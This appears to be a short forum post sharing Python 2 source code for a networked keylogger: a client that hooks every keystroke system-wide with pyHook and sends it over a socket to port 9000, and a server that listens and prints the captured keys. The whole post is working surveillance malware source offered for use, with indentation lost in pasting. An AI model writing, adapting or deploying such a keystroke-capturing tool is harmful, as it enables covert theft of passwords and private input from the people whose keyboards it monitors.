what it does is if the client types in a keystroke it will send the keystrokes to the server
here is the client
Code: Select all
# Written By Maboroshi
import socket
import pythoncom, pyHook
import sys
host = "localhost"
port = 9000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
except:
print "failed connecting"
sys.exit()
def OnKeyBoardEvent(event):
output1 = event.Key
sock.send(output1)
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyBoardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Code: Select all
#Written By Maboroshi
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
port = 9000
sock.bind(("", port))
sock.listen(5)
try:
while 1:
newSocket, address = sock.accept()
while 1:
data = newSocket.recv(2048)
print data + " ",
finally:
sock.close()